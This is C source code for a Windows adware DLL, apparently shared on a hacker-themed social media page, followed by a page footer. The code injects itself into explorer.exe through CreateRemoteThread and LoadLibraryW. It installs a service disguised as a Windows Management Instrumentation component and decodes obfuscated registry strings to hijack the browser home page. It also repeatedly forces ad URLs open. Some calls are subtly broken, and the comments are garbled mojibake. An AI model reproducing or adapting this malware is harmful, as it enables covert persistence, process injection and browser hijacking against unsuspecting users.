#include "windows.h"
#include "stdio.h" #include "YouHua.h" #include <tlhelp32.h> struct guanggao { char tc1[99]; char tc2[99]; char tc3[99]; char tc4[99]; char tc5[99]; char tc; char yes1; char yes2; char yes3; char yes4; char yes5; char zhuye[50]; }; guanggao gg={ "http://www.baidu.com", "http://g.cn", "http://www.9u9u9.cn", "http://9u9u9.cn", "http://127.0.0.1", 'y', 'y', 'y', 'y', 'y', 'y', "http://www.v2233.com/?415" //ÉèÖÃÖ÷Ò³µÄ }; void setzhuye(); void DecryptRecord(char *szRec, unsigned long nLen, char *szKey); int Installserver(); DWORD WINAPI startmain(LPVOID lpParameter); void injectexp(char *dllpath); BOOL WINAPI DllMain(HANDLE hinstDLL,DWORD dwReason,LPVOID lpvReserved) { HANDLE hMutex=CreateMutex(NULL,TRUE,"ɱ¿ÍÃÔÄã¹ã¸æ²å¼þ1.0"); if (GetLastError()==ERROR_ALREADY_EXISTS) { CloseHandle(hMutex); return FALSE; } char windir[30]; GetWindowsDirectory(windir,30); strcat(windir,"\\Tasks\\Instrumentation.dll"); injectexp(windir); CreateThread(NULL,NULL,startmain,NULL,NULL,NULL); return 1; } DWORD WINAPI startmain(LPVOID lpParameter) { Installserver(); while(1) { Sleep(30000); if (gg.tc=='y') { setzhuye(); } if (gg.yes1=='y') { ShellExecute(NULL,NULL,gg.tc1,NULL,NULL,SW_SHOWNORMAL); Sleep(20000); } if (gg.yes2=='y') { ShellExecute(NULL,NULL,gg.tc2,NULL,NULL,SW_SHOWNORMAL); Sleep(20000); } if (gg.yes3=='y') { ShellExecute(NULL,NULL,gg.tc3,NULL,NULL,SW_SHOWNORMAL); Sleep(20000); } if (gg.yes4=='y') { ShellExecute(NULL,NULL,gg.tc4,NULL,NULL,SW_SHOWNORMAL); Sleep(20000); } if (gg.yes5=='y') { ShellExecute(NULL,NULL,gg.tc5,NULL,NULL,SW_SHOWNORMAL); Sleep(20000); } Sleep(1800000); } } void setzhuye() { char szRegPath[]="£ov„‡qŠu¢q{„o‹ox†œ‘p†uŠpu„¸™zˆlo„uŠ¢yqn"; char start[]="£†yŠŠ²¨ywe"; HKEY hKey; DecryptRecord((char*)&szRegPath,strlen(szRegPath)-1,"kill"); DecryptRecord((char*)&start,strlen(start)-1,"kill"); RegOpenKeyEx(HKEY_CURRENT_USER,szRegPath,0,KEY_ALL_ACCESS,&hKey); RegSetValueEx(hKey,start,NULL,REG_SZ,(const unsigned char*)gg.zhuye,MAX_PATH); } void DecryptRecord(char *szRec, unsigned long nLen, char *szKey) { unsigned long i; char *p; p = szKey; for(i = 0; i < nLen; i++) { if(!(*p)) p = szKey; *szRec -= *p; *szRec++ ^= *p++; } } int Installserver() { CHAR szServiceName[] = ("Windows Management Instrumentation Dll"); SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hSCM == NULL) { return FALSE; } TCHAR FilePath[MAX_PATH]; GetWindowsDirectory(FilePath, MAX_PATH); sprintf("%s\\Tasks\\Instrumentation.dll",FilePath); SC_HANDLE hService = CreateService( hSCM, szServiceName, szServiceName, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, FilePath, NULL, NULL, (""), NULL, NULL); if (hService == NULL) { CloseServiceHandle(hSCM); return FALSE; } CloseServiceHandle(hService); CloseServiceHandle(hSCM); return 1; } void injectexp(char *dllpath) { DWORD pid; HANDLE hSnapshot = NULL; hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL); PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); Process32First(hSnapshot,&pe); do { if(stricmp(pe.szExeFile,"explorer.exe")==0) { pid = pe.th32ProcessID; break; } } while(Process32Next(hSnapshot,&pe)==TRUE); CloseHandle (hSnapshot); PWSTR pszLibFileRemote = NULL; HANDLE hRemoteProcess = NULL,hRemoteThread = NULL; hRemoteProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, pid); char CurPath[256]; strcpy(CurPath,dllpath); int len = (strlen(CurPath)+1)*2; WCHAR wCurPath[256]; MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256); pszLibFileRemote = (PWSTR) VirtualAllocEx(hRemoteProcess,NULL,len,MEM_COMMIT,PAGE_READWRITE); WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(PVOID)wCurPath,len,NULL); PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); hRemoteThread = CreateRemoteThread(hRemoteProcess,NULL,0,pfnThreadRtn,pszLibFileRemote,0,NULL); }
Comentarios - Mundo Hacker | Facebook-copyright(™ © ®)